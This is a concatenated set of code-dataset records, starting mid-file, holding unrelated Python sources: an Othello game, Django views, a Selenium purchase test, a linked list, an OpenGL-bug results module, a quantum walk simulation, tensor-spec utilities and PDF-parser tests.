black_moves[i][1] == column:\n self.move(self.board, black_moves[i], 1)\n turtle.onscreenclick(None)\n self.play_computer()\n\n # If there's no possible move left then it's the computer's turn\n else:\n print(\"You don't have any available moves left\\n\")\n turtle.onscreenclick(None)\n self.play_computer()\n \n def play_computer(self):\n ''' Function: play_computer \n Input: self \n Returns: nothing\n Does: Plays as the computer. Chooses the best possible moves.\n If there's no moves then pass to the player. If both players have\n no possible moves then ends the game. \n '''\n # Ends game if no player has available moves \n white_moves = self.find_moves(self.board, -1)\n black_moves = self.find_moves(self.board, 1)\n if not black_moves and not white_moves:\n self.end_game()\n \n\n print(\"It's the computer's turn\\n\")\n\n # Computer plays if it has available moves. Then passes the turn \n if len(white_moves) > 0:\n move = self.select_move(white_moves,-1)\n self.move(self.board, move, -1)\n black_moves = self.find_moves(self.board, -1)\n white_moves = self.find_moves(self.board, 1)\n if not black_moves and not white_moves:\n self.end_game()\n else:\n print(\"It's your turn. Please click on the board\\n\")\n turtle.onscreenclick(self.play_human)\n\n # If computer doesn't have available moves then turn passes to player\n else:\n print(\"Computer has no moves left\\n\")\n white_moves = self.find_moves(self.board, -1)\n black_moves = self.find_moves(self.board, 1)\n if not black_moves and not white_moves:\n self.end_game()\n else: \n print(\"It's your turn. Please click on the board\\n\")\n turtle.onscreenclick(self.play_human)\n \n\n def start_game(self):\n ''' Function: start_game \n Input: self \n Returns: nothing\n Does: Draws the board, starts the game, and draws the tiles\n according to the current state of the board \n '''\n self.draw_board(self.board, n)\n self.draw_tiles(self.board)\n turtle.onscreenclick(self.play_human)\n\n def end_game(self):\n ''' Function: end_game \n Input: self \n Returns: nothing\n Does: Ends the game, announces the winner/loser and scores.\n Write the score into a text file \n '''\n print(\"\\nGame over\")\n print(\"Your score: \", self.score_board(self.board)[0])\n print(\"Computer score: \", self.score_board(self.board)[1])\n if self.score_board(self.board)[0] > self.score_board(self.board)[1]:\n print(\"Victory is yours!!!\")\n elif self.score_board(self.board)[0] == self.score_board(self.board)[1]:\n print(\"It was a tie!\")\n else:\n print(\"Good luck next time!!!\")\n\n # Prompts user for name and writes score \n user_name = input('\\nPlease enter your name for the Hall of Fame\\n')\n self.write_arranged_scores(user_name, self.score_board(self.board)[0])\n turtle.bye()\n exit()\n \ndef main():\n othello = Board(n)\n othello.start_game()\n print(\"You are Black player. Please go first\\n\")\n\nmain()\n\n","sub_path":"Othello game in Python/othello.py","file_name":"othello.py","file_ext":"py","file_size_in_byte":21979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59240366","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom random import shuffle\nimport json\n\nimport pickle\nimport csv\n\n\ndef detail(request, question_id):\n return HttpResponse(\"You're looking at question %s.\" % question_id)\n\ndef results(request, question_id):\n response = \"You're looking at the results of question %s.\"\n return HttpResponse(response % question_id)\n\ndef vote(request, question_id):\n return HttpResponse(\"You're voting on question %s.\" % question_id)\n\ndef save_obj(obj, name):\n with codecs.open('trendsData/'+ name + '.pkl', 'wb') as f:\n pickle.dump(obj, f)\n\ndef load_obj(name):\n with open('./trendsData/' + name + '.pkl', 'rb') as f:\n return pickle.load(f)\n\ndef getItemList(itemDictList):\n keywordsList = itemDictList[\"keywordsList\"]\n itemList = []\n n = 0\n while len(itemList) < 20:\n tlen = len(itemList)\n for keyword in keywordsList:\n if (len(itemDictList[keyword]) > n):\n itemList.append(itemDictList[keyword][n])\n if len(itemList) == 20: break\n if (tlen == len(itemList)): break\n n = n + 1\n return itemList\n\n\ndef loadeBay(name):\n eBayItemList = []\n with open('./trendsData/' + name + '.csv', mode='r') as infile:\n reader = csv.reader(infile)\n keywordsList = next(reader)\n for row in reader:\n tdict = {}\n for i in range(len(keywordsList)):\n tdict[keywordsList[i]] = row[i]\n eBayItemList.append(tdict)\n return eBayItemList\n\n\ndef index(request):\n itemDictList = load_obj('parsedData')\n itemList = getItemList(itemDictList)\n\n eBayItemList = loadeBay('ebayHomePage')\n\n # itemList = itemList[0:min(10, len(itemList))] + eBayItemList\n\n # shuffle(itemList)\n\n print('length of lists of items: ', len(itemList))\n\n nitemList = []\n for i in range(4):\n nitemList.append(itemList[i*5:(i+1)*5])\n itemList = nitemList\n print('length of lists of items: ', len(itemList))\n \n url_list = []\n for lists in itemList:\n url_list.extend([item['viewItemURL'] for item in lists])\n print (url_list)\n # print (itemList[0][0]['viewItemURL'])\n\n context = {'itemList': itemList}\n return render(request, 'store/index.html', context)\n # return HttpResponse(\"Hello, world. You're at the polls index.\")\n","sub_path":"store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"510622917","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom selenium.webdriver.common.keys import Keys\nimport unittest\nfrom selenium.webdriver.common.by import By\nfrom utils import GICTest\n\n\nclass BuyPublicTest(GICTest):\n \"\"\"\n 购买公网\n \"\"\"\n def test_buy_public(self):\n url = 'http://101.251.234.165/zh-cn/cloud/wan/'\n self.login_into_page(url)\n\n # 购买/终止公网带宽\n buy_public_xpath = '/html/body/form/div[2]/div/div[2]/div[8]/a[2]'\n self.browser.find_element(By.XPATH, buy_public_xpath).click()\n\n # public bandwidth\n public_bandwidth_xpath = '/html/body/form/div[2]/div[2]/div[3]/div[2]/div[1]/div/div/span'\n self.browser.find_element(By.XPATH, public_bandwidth_xpath).send_keys(Keys.RIGHT)\n\n # submit\n submit_xpath = '/html/body/form/div[2]/div[2]/div[7]/div[5]'\n self.browser.find_element(By.XPATH, submit_xpath).click()\n\n # confirm\n confirm_xpath = '/html/body/div[8]/div[3]/div/button[1]'\n self.browser.find_element(By.XPATH, confirm_xpath).click()\n\n text = self.browser.switch_to.alert.text\n self.assertEqual(text, u'订单生成成功,资源任务正在执行,请等待,谢谢!')\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Others/BuyPublic.py","file_name":"BuyPublic.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"601917826","text":"class Node:\n\tdef __init__(self, value):\n\t\tself.value = value\n\t\tself.next = None\n\nclass LinkedList:\n\tdef __init__(self):\n\t\tself.root = None\n\t\tself.length = 0\n\n\t\n\tdef insert(self, value):\n\t\tself.length += 1\n\t\tif self.root == None:\n\t\t\tself.root = Node(value)\n\t\telse:\n\t\t\treturn self._insert(self.root, value)\n\n\n\tdef _insert(self, currentNode, value):\n\t\tif currentNode.next == None:\n\t\t\tcurrentNode.next = Node(value)\n\t\telse:\n\t\t\treturn self._insert(currentNode.next, value)\n\n\t\n\tdef insertAfter(self, afterValue, value):\n\t\tif self.root != None:\n\t\t\treturn self._insertAfter(self.root, afterValue, value)\n\n\n\tdef _insertAfter(self, currentNode, afterValue, value):\n\t\tif currentNode.value == afterValue:\n\t\t\ttemp = Node(value)\n\t\t\tif currentNode.next != None:\n\t\t\t\ttemp.next = currentNode.next\n\t\t\t\tcurrentNode.next = temp\n\t\t\telse:\n\t\t\t\tcurrentNode.next = temp\n\t\telse:\n\t\t\tif currentNode.next != None:\n\t\t\t\treturn self._insertAfter(currentNode.next, afterValue, value)\n\t\t\telse:\n\t\t\t\tprint('{} not in list.'.format(afterValue))\n\n\n\n\tdef delete(self, value):\n\t\tif self.root != None:\n\t\t\tif self.root.value == value:\n\t\t\t\tself.root = self.root.next\n\t\t\telse:\n\t\t\t\treturn self._delete(self.root, value)\n\n\n\tdef _delete(self, currentNode, value):\n\t\tif currentNode.next == None:\n\t\t\tprint('{} not in list.'.format(value))\n\t\telif currentNode.next.value == value:\n\t\t\tif currentNode.next.next != None:\n\t\t\t\tcurrentNode.next = currentNode.next.next\n\t\t\telse:\n\t\t\t\tcurrentNode.next = None\n\t\telse:\n\t\t\treturn self._delete(currentNode.next, value)\n\n\n\tdef search(self, value):\n\t\tposition = 0\n\t\tif self.root != None:\n\t\t\treturn self._search(self.root, position, value)\n\n\n\tdef _search(self, currentNode, position, value):\n\t\tif currentNode.value == value:\n\t\t\tprint(position)\n\t\telif currentNode.next != None:\n\t\t\treturn self._search(currentNode.next, position + 1, value)\n\t\telse:\n\t\t\tprint(-1)\n\n\n\tdef traverse(self):\n\t\tif self.root != None:\n\t\t\treturn self._traverse(self.root)\n\n\n\tdef _traverse(self, currentNode):\n\t\tprint(currentNode.value)\n\t\tif currentNode.next != None:\n\t\t\treturn self._traverse(currentNode.next)\n\n\nif __name__ == '__main__':\n\tll = LinkedList()\n\tarray = [5, 4, 2, 10, 2, 6, 4, 1]\n\tfor i in array:\n\t\tll.insert(i)\n\n\tll.insertAfter(10, 9)\n\tll.insertAfter(9, 100)\n\t# ll.delete(5)\n\t# ll.search(1)\t\n\tll.traverse()\n\t# print(ll.search(10))\n","sub_path":"Coding/linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325006726","text":"# test suite for Pade_multi.py\n\nfrom Pade_multi import Pade_fit, Pade_eval\nimport numpy as np\n# let's see how well it does with a polynomial\nX1 = np.linspace(-1.0,1.0, 20)\nX2 = np.copy(X1)\nX1v,X2v = np.meshgrid(X1,X2)\nYv = X1v * X1v + X2v * X2v\nX1 = np.ravel(X1v)\nX2 = np.ravel(X2v)\nY = np.ravel(Yv)\n\nXV = np.vstack((X1,X2,Y))\nXV = XV.T\nans, ae, be = Pade_fit(XV,2,2)\n\n\nYA = []\nfor i in range(XV.shape[0]) :\n YA.append(Pade_eval( XV[i,:-1], ans, ae, be ))\nYA = np.array(YA)\n#YA = YA.reshape(X1v.shape)\n\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.scatter(X1,X2,Y,c=u'r')\nax.scatter(X1,X2,YA)\nplt.show()\n","sub_path":"pade_example.py","file_name":"pade_example.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"632618801","text":"# This file is part of Indico.\n# Copyright (C) 2002 - 2019 CERN\n#\n# Indico is free software; you can redistribute it and/or\n# modify it under the terms of the MIT License; see the\n# LICENSE file for more details.\n\nfrom __future__ import absolute_import, unicode_literals\n\nfrom datetime import datetime\n\nfrom flask import g, has_request_context, jsonify, render_template, request, session\nfrom markupsafe import Markup\nfrom werkzeug.exceptions import ImATeapot\n\nfrom indico.util.i18n import _\nfrom indico.web.flask.templating import get_template_module\n\n\ndef inject_js(js):\n \"\"\"Injects JavaScript into the current page.\n\n :param js: Code wrapped in a ``\\n\\n' \n\n h+='

Aggregated results for OpenGL compiler bugs

\\n'\n\n h+=hextra\n\n # Check host URL prefix and default module/action\n rx=ck.access({'action':'form_url_prefix',\n 'module_uoa':'wfe',\n 'host':i.get('host',''), \n 'port':i.get('port',''), \n 'template':i.get('template','')})\n if rx['return']>0: return rx\n url0=rx['url']\n template=rx['template']\n\n url=url0\n action=i.get('action','')\n muoa=i.get('module_uoa','')\n\n st=''\n\n url+='action=index&module_uoa=wfe&native_action='+action+'&'+'native_module_uoa='+muoa\n url1=url\n\n # List entries\n ii={'action':'search',\n 'module_uoa':work['self_module_uid'],\n 'add_meta':'yes'}\n\n if cmuoa!='':\n ii['module_uoa']=cmuoa\n\n r=ck.access(ii)\n if r['return']>0: return r\n\n lst=r['lst']\n\n # Check unique entries\n choices={}\n wchoices={}\n\n for q in lst:\n d=q['meta']\n meta=d.get('meta',{})\n\n for kk in selector:\n kx=kk['key']\n k=ckey+kx\n\n if k not in choices: \n choices[k]=[]\n wchoices[k]=[{'name':'','value':''}]\n\n v=meta.get(kx,'')\n if v!='':\n if v not in choices[k]: \n choices[k].append(v)\n wchoices[k].append({'name':v, 'value':v})\n\n # Prepare query div ***************************************************************\n if cmuoa=='':\n # Start form + URL (even when viewing entry)\n r=ck.access({'action':'start_form',\n 'module_uoa':cfg['module_deps']['wfe'],\n 'url':url1,\n 'name':form_name})\n if r['return']>0: return r\n h+=r['html']\n\n for kk in selector:\n k=ckey+kk['key']\n n=kk['name']\n\n nl=kk.get('new_line','')\n if nl=='yes':\n h+='
\\n
\\n'\n\n v=''\n if i.get(k,'')!='':\n v=i[k]\n kk['value']=v\n\n # Show hardware\n ii={'action':'create_selector',\n 'module_uoa':cfg['module_deps']['wfe'],\n 'data':wchoices.get(k,[]),\n 'name':k,\n 'onchange':conc, \n 'skip_sort':'no',\n 'selected_value':v}\n r=ck.access(ii)\n if r['return']>0: return r\n\n h+=''+n+': '+r['html'].strip()+'\\n'\n\n # Check hidden\n if hi_uid!='':\n h+='\\n'\n\n h+='

'\n\n # Prune list\n plst=[]\n for q in lst:\n d=q['meta']\n meta=d.get('meta',{})\n\n # Check selector\n skip=False\n for kk in selector:\n k=kk['key']\n n=kk['name']\n v=kk.get('value','')\n\n if v!='' and meta.get(k,'')!=v:\n skip=True\n\n if not skip:\n plst.append(q)\n\n # Check if too many\n lplst=len(plst)\n if lplst==0:\n h+='No results found!'\n return {'return':0, 'html':h, 'style':st}\n elif lplst>50:\n h+='Too many entries to show ('+str(lplst)+') - please, prune list further!'\n return {'return':0, 'html':h, 'style':st}\n\n # Prepare table\n h+='\\n'\n\n ha='align=\"center\" valign=\"top\"'\n hb='align=\"left\" valign=\"top\"'\n\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n h+=' \\n'\n\n # Dictionary to hold target meta\n tm={}\n\n ix=0\n bgraph={'0':[]} # Just for graph demo\n if hi_uid!='':\n bgraph['1']=[]\n\n # Sort\n splst=sorted(plst, key=lambda x: x.get('data_uoa',''))\n\n for q in splst:\n ix+=1\n\n duid=q['data_uid']\n duoa=q['data_uoa']\n\n path=q['path']\n\n d=q['meta']\n\n meta=d.get('meta',{})\n\n plat_name=meta.get('plat_name','')\n os_name=meta.get('os_name','')\n gpu_name=meta.get('gpu_name','')\n\n plat_uid=meta.get('platform_uid','')\n os_uid=meta.get('os_uid','')\n gpu_uid=meta.get('gpu_uid','')\n\n user=meta.get('user','')\n\n bgc='dfffdf'\n bg=' style=\"background-color:#'+bgc+';\"'\n\n h+=' \\n'\n\n x=work['self_module_uid']\n if cmuoa!='': x=cmuoa\n h+=' \\n'\n\n h+=' \\n'\n h+=' \\n'\n\n x=gpu_name\n if gpu_uid!='':\n x=''+x+''\n h+=' \\n'\n\n # Platform, etc ...\n x=plat_name\n if plat_uid!='':\n x=''+x+''\n h+=' \\n'\n\n x=os_name\n if os_uid!='':\n x=''+x+''\n h+=' \\n'\n\n\n h+=' \\n'\n\n h+=' \\n'\n\n h+=' \\n'\n\n h+='
CK alias/UIDView raw bugsView metaGPUPlatformOSUserReplay
'+str(ix)+') '+duoa+' ('+duid+')RawMeta'+x+''+x+''+x+''+user+'
\\n'\n h+='\\n'\n\n if cmuoa=='':\n h+='\\n'\n\n if len(bgraph['0'])>0:\n ii={'action':'plot',\n 'module_uoa':cfg['module_deps']['graph'],\n\n \"table\":bgraph,\n\n \"h_lines\":[1.0],\n\n \"ymin\":0,\n\n \"ignore_point_if_none\":\"yes\",\n\n \"plot_type\":\"d3_2d_bars\",\n\n \"display_y_error_bar\":\"no\",\n\n \"title\":\"Powered by Collective Knowledge\",\n\n \"axis_x_desc\":\"Experiment\",\n \"axis_y_desc\":\"Neural network total time (sec.)\",\n\n \"plot_grid\":\"yes\",\n\n \"d3_div\":\"ck_interactive\",\n\n \"image_width\":\"900\",\n \"image_height\":\"400\",\n\n \"wfe_url\":url0}\n\n r=ck.access(ii)\n if r['return']==0:\n x=r.get('html','')\n if x!='':\n st+=r.get('style','')\n\n h+='
\\n'\n h+='
\\n'\n h+='
\\n'\n h+='
\\n'\n h+=x+'\\n'\n h+='
\\n'\n h+='
\\n'\n h+='
\\n'\n\n return {'return':0, 'html':h, 'style':st}\n\n##############################################################################\n# open dashboard\n\ndef dashboard(i):\n \"\"\"\n Input: {\n }\n\n Output: {\n return - return code = 0, if successful\n > 0, if error\n (error) - error text if return > 0\n }\n\n \"\"\"\n\n i['action']='browser'\n i['cid']=''\n i['module_uoa']=''\n i['template']='ogl-bug'\n\n return ck.access(i)\n","sub_path":"module/ogl-bug/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":9670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55721874","text":"#!/usr/bin/python\n\n# Quantum walk simulation\n\nfrom __future__ import print_function\n\nimport qwalk_lib as qwalk\nimport density_matrix as dm\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom optparse import OptionParser\n\nimport discord\nimport qmid\n\ndef print_v(*args) :\n\tglobal options\n\n\tif (options.verbose > 0) :\n\t\tprint (*args)\n\t\n\nusage = 'usage %prog : [options]'\nparser = OptionParser(usage = usage)\n\nparser.add_option('', '--qd', help = 'Calculate QD', action='store_true', dest = 'qd_needed')\nparser.add_option('', '--qmid', help = 'Calculate QMID', action='store_true', dest = 'qmid_needed')\n\nparser.add_option('-N', '--node-range', type = 'int', nargs = 3, help = 'Range of nodes to use', dest = 'node_range', metavar = \"START END RESOLUTION\")\nparser.add_option('-n', '--nodes', type = 'int', default = 25, help = 'Number of nodes', dest = 'nodes', metavar = \"NODES\")\n\nparser.add_option('-L', '--lamda-range', type = 'float', nargs = 3, help = 'Range of lamdas to use for amp damping', dest = 'lamda_range', metavar = \"START END RESOLUTION\")\nparser.add_option('-l', '--lamda', type = 'float', default = 0, help = 'Lamda param for amp damping', dest = 'lamda', metavar = \"LAMDA\")\n\nparser.add_option('-t', '--traversals', type = 'int', default = 5, help = 'Number of times to traverse the circle', dest = 'traversals', metavar = \"N\")\nparser.add_option('-T', '--traversals-range', type = 'int', nargs = 3, help = 'Number of times to traverse the circle', dest = 'traversals_range', metavar = \"N\")\n\nparser.add_option('-g', '--graphical', action = 'store_true', help = 'show graphical output', default = True, dest = 'graphical')\nparser.add_option('-v', '--verbose', help = 'verbose output ', type = int, default = 1, dest = 'verbose', metavar = \"LEVEL\")\n\n(options, args) = parser.parse_args()\n\n#Noise parameter\nlamda = 0\n\n#Coinspace is invariant\ncoin_space = qwalk.CoinSpace()\ndim_A = len(coin_space)\n\noutput_list_dict = dict()\n\nif (options.qd_needed) :\n\toutput_list_dict['QD'] = list()\n\nif (options.qmid_needed) :\n\toutput_list_dict['QMID'] = list()\n\n_options = 0\n\nnodes_space = lamda_space = traversals_space = None\n\nif options.node_range is not None :\n\tnodes_space = range(*options.node_range)\n\t_options += 1\nelse:\n\tnodes_space = [options.nodes]\n\n\nif options.lamda_range is not None :\n\tlamda_space = np.linspace(*options.lamda_range)\n\t_options += 1\nelse:\n\tlamda_space = [options.lamda]\n\nif options.traversals_range is not None :\n\ttraversals_space = range(*options.traversals_range)\n\t_options += 1\nelse:\n\ttraversals_space = [options.traversals]\n\nif _options == 0 or _options != 1 :\n\tparser.print_help()\n\tsys.exit(1)\n\nfor nodes in nodes_space:\n\tif (nodes % 2 == 0) :\n\t\tpos_list = range (-nodes / 2, nodes / 2)\n\telse:\n\t\tpos_list = range (-nodes / 2, nodes / 2 + 1)\n\n\tpos_space = qwalk.PositionSpace(pos_list)\n\tdim_B = len(pos_space)\n\n\twalk = qwalk.QWalk(pos_space, coin_space, circle = True)\n\n\tfor lamda in lamda_space:\n\t\tE = [np.mat(np.empty((2 * (2 * nodes + 1), 2 * (2 * nodes + 1)))) for i in range (2)]\n\t\tE[0] = np.kron(np.mat([[ np.sqrt(1 - lamda), 0], [0, 1]]), pos_space.I)\n\t\tE[1] = np.kron(np.mat([[0, 0], [np.sqrt(lamda), 0]]), pos_space.I)\n\n\t\tfor traversals in traversals_space :\n\t\t\tprint_v (\"Nodes : \", nodes, \" Lambda = \", lamda, 'Traversals = ', traversals)\n\n\t\t\trho_CP = walk.do(traversals * nodes, E)\n\t\t\tif (options.qd_needed) :\n\t\t\t\t_qd = discord.T_min(rho_CP, dim_A, dim_B, qubit_subsys = 1) - dm.S_cond(rho_CP, (2, 1), dim_A, dim_B).real\n\t\t\t\toutput_list_dict['QD'].append(_qd)\n\t\t\t\tprint_v (\"\\tQD = \", _qd)\n\n\t\t\tif (options.qmid_needed) :\n\t\t\t\t_qm = qmid.qmid(rho_CP, dim_A, dim_B)\n\t\t\t\toutput_list_dict['QMID'].append(_qm)\n\t\t\t\tprint_v (\"\\tQMID = \", _qm)\n\t\t\t\n\t\t\tif (options.verbose > 1) :\n\t\t\t\trho_P = dm.partial_trace(rho_CP, subsys = 1, dim_B = len(pos_space), dim_A = len(coin_space))\n\t\t\t\tprint_v (\"\\tProbabilities : \", np.diag(rho_P), \". Sum = \", np.trace(rho_P))\n\nif (options.graphical) :\n\tif options.node_range is not None :\n\t\t_x = nodes_space\n\t\t_label = 'Nodes'\n\t\t_title = 'Walk on circle with lamda = ' + str(options.lamda) + ', traversals = ' + str(options.traversals)\n\telif options.lamda_range is not None :\n\t\t_x = lamda_space\n\t\t_label = 'Noise Parameter'\n\t\t_title = 'Walk on circle with nodes = '+ str(options.nodes) + ', traversals = ' + str(options.traversals)\n\telse :\n\t\t_x = traversals_space\n\t\t_label = 'Traversals'\n\t\t_title = 'Walk on circle with nodes = ' + str(options.nodes) + ', lamda = ' + str(options.lamda)\n\n\tfor k in output_list_dict.keys() :\n\t\t_y = output_list_dict[k]\n\t\tplt.plot(_x, _y, label = k)\n\n\tplt.legend()\n\tplt.xlabel(_label)\n\tplt.title(_title)\n\n\tplt.ylabel('Y')\n\tplt.show()\n\n","sub_path":"random_walk/lib_based/circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158209347","text":"# Copyright 2019 DeepMind Technologies Limited. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Helper Python utilities for managing dm_env_rpc TensorSpecs.\"\"\"\n\nimport collections\nimport numpy as np\n\nfrom dm_env_rpc.v1 import dm_env_rpc_pb2\nfrom dm_env_rpc.v1 import tensor_utils\n\n\nBounds = collections.namedtuple('Bounds', ['min', 'max'])\n\n_SCALAR_VALUE_TYPES = frozenset(\n ('float', 'double', 'int8', 'int32', 'int64', 'uint8', 'uint32', 'uint64'))\n\n\ndef _np_range_info(np_type):\n \"\"\"Returns type info for `np_type`, which includes min and max attributes.\"\"\"\n if issubclass(np_type, np.floating):\n return np.finfo(np_type)\n elif issubclass(np_type, np.integer):\n return np.iinfo(np_type)\n else:\n raise ValueError('{} does not have range info.'.format(np_type))\n\n\ndef _get_value(min_max_value, shape, default):\n \"\"\"Helper function that returns the min/max bounds for a Value message.\n\n Args:\n min_max_value: Value protobuf message to get value from.\n shape: Optional dimensions to unpack payload data to.\n default: Value to use if min_max_value is not set.\n\n Returns:\n A scalar if `shape` is empty or None, or an unpacked NumPy array of either\n the unpacked value or provided default.\n\n \"\"\"\n which = min_max_value.WhichOneof('payload')\n value = which and getattr(min_max_value, which)\n\n if value is None:\n min_max = np.broadcast_to(default, shape) if shape else default\n elif which in _SCALAR_VALUE_TYPES:\n min_max = np.broadcast_to(value, shape) if shape else value\n else:\n min_max = tensor_utils.unpack_proto(min_max_value, shape)\n\n if (shape is not None\n and np.any(np.array(shape) < 0)\n and np.asarray(min_max).size > 1):\n raise ValueError(\n \"TensorSpec's with variable length shapes can only have scalar ranges. \"\n 'Shape: {}, value: {}'.format(shape, min_max))\n return min_max\n\n\ndef bounds(tensor_spec):\n \"\"\"Gets the inclusive bounds of `tensor_spec`.\n\n Args:\n tensor_spec: An instance of a dm_env_rpc TensorSpec proto.\n\n Returns:\n A named tuple (`min`, `max`) of inclusive bounds.\n\n Raises:\n ValueError: `tensor_spec` does not have a numeric dtype, or the type of its\n `min` or `max` does not match its dtype, or the the bounds are invalid in\n some way.\n \"\"\"\n np_type = tensor_utils.data_type_to_np_type(tensor_spec.dtype)\n tensor_spec_type = dm_env_rpc_pb2.DataType.Name(tensor_spec.dtype).lower()\n if not issubclass(np_type, np.number):\n raise ValueError('TensorSpec \"{}\" has non-numeric type {}.'\n .format(tensor_spec.name, tensor_spec_type))\n\n min_which = tensor_spec.min.WhichOneof('payload')\n if min_which and not min_which.startswith(tensor_spec_type):\n raise ValueError('TensorSpec \"{}\" has dtype {} but min type {}.'.format(\n tensor_spec.name, tensor_spec_type, min_which))\n\n max_which = tensor_spec.max.WhichOneof('payload')\n if max_which and not max_which.startswith(tensor_spec_type):\n raise ValueError('TensorSpec \"{}\" has dtype {} but max type {}.'.format(\n tensor_spec.name, tensor_spec_type, max_which))\n\n dtype_bounds = _np_range_info(np_type)\n min_bound = _get_value(tensor_spec.min, tensor_spec.shape, dtype_bounds.min)\n max_bound = _get_value(tensor_spec.max, tensor_spec.shape, dtype_bounds.max)\n\n if (np.any(min_bound < dtype_bounds.min) or\n np.any(max_bound > dtype_bounds.max)):\n raise ValueError(\n 'TensorSpec \"{}\"\\'s bounds [{}, {}] are larger than the bounds on its '\n '{} dtype [{}, {}]'.format(\n tensor_spec.name, min_bound, max_bound, tensor_spec_type,\n dtype_bounds.min, dtype_bounds.max))\n\n if np.any(max_bound < min_bound):\n raise ValueError('TensorSpec \"{}\" has min {} larger than max {}.'.format(\n tensor_spec.name, min_bound, max_bound))\n\n return Bounds(np_type(min_bound), np_type(max_bound))\n","sub_path":"dm_env_rpc/v1/tensor_spec_utils.py","file_name":"tensor_spec_utils.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"66215148","text":"# encoding: UTF-8\n\n# constants used throughout the mrs library\n# In the future, these should probably move to a proper settings module\n\nLTOP_NODEID = 0\nFIRST_NODEID = 10000 # the nodeid assigned to the first node\n# sortal values\nUNKNOWNSORT = 'u' # when nothing is known about the sort\nHANDLESORT = 'h' # for scopal relations\nQUANTIFIER_SORT= 'q' # for quantifier preds\n# HCONS\nQEQ = 'qeq'\nLHEQ = 'lheq'\nOUTSCOPES = 'outscopes'\n# MRS strings\nIVARG_ROLE = 'ARG0'\nCONSTARG_ROLE = 'CARG'\n# RMRS strings\nANCHOR_SORT = HANDLESORT # LKB output is like h10001, but in papers it's a1\n# DMRS strings\nRSTR_ROLE = 'RSTR' # DMRS establishes that quantifiers have a RSTR link\nEQ_POST = 'EQ'\nHEQ_POST = 'HEQ'\nNEQ_POST = 'NEQ'\nH_POST = 'H'\nNIL_POST = 'NIL'\nCVARSORT = 'cvarsort'\n","sub_path":"delphin/mrs/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"88138470","text":"'''\n\nHarold S. Umali\nApril 22, 2016\nDescription: Recursion of multiplication in terms of addition (eg. 2*5=2+2+2+2+2 or 5*2=5+5)\n\nPlus bonus included\n\n'''\n\ndef multiadd(x,y):\n\tif y==0: \n\t\t## Base case: if multiplier is 0, return 0; used when y is input as 0\n\t\treturn 0\n\telif y==1: \n\t\t## Base case: if multiplier is 1, return self\n\t\treturn x\n\telse: \n\t\t## Recursive step: for every recursion, y decrements until it reaches base case y==1\n\t\treturn x + multiadd(x,y-1) \n\t\t##\n\ndef divsub(x,y,month): ## Bonus\n\tif x==0: \n\t\treturn 0\n\telif x'\n\n\ndef test_textline_is_blank_works(m_16_19_doc):\n assert m_16_19_doc.pages[0][0].is_blank()\n assert not m_16_19_doc.pages[0][4].is_blank()\n\n\ndef test_page_numbers_work(m_16_19_doc):\n assert m_16_19_doc.pages[0].number == 1\n assert m_16_19_doc.pages[1].number == 2\n\n\ndef test_useful_lines_are_not_culled(m_11_29_doc):\n lastpage_text = '\\n'.join([str(line) for line in m_11_29_doc.pages[-1]])\n\n assert 'opportunities to reduce duplication' in lastpage_text\n\n\ndef test_calc_left_edge(monkeypatch):\n monkeypatch.setattr(document, 'logger', Mock())\n\n lines = [\n Mock(left_edge=10),\n Mock(left_edge=20),\n Mock(left_edge=10),\n Mock(left_edge=20),\n Mock(left_edge=30),\n Mock(left_edge=10),\n ]\n assert document.calc_left_edge(lines) == 10\n assert not document.logger.warning.called\n\n\ndef test_no_significant_left_edge(monkeypatch):\n monkeypatch.setattr(document, 'logger', Mock())\n\n lines = [Mock(left_edge=i*10) for i in range(1, 20)]\n assert document.calc_left_edge(lines) == 10\n assert document.logger.warning.called\n\n\ndef test_no_left_edge(monkeypatch):\n monkeypatch.setattr(document, 'logger', Mock())\n\n assert document.calc_left_edge([]) == 0\n assert document.logger.warning.called\n\n\ndef test_image_pdf(monkeypatch):\n monkeypatch.setattr(document, 'logger', Mock())\n mock_page = []\n\n doc = document.OMBDocument([mock_page, mock_page, mock_page])\n assert doc.paragraph_fontsize == 0\n assert document.logger.warning.called\n","sub_path":"api/ombpdf/tests/test_document.py","file_name":"test_document.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} 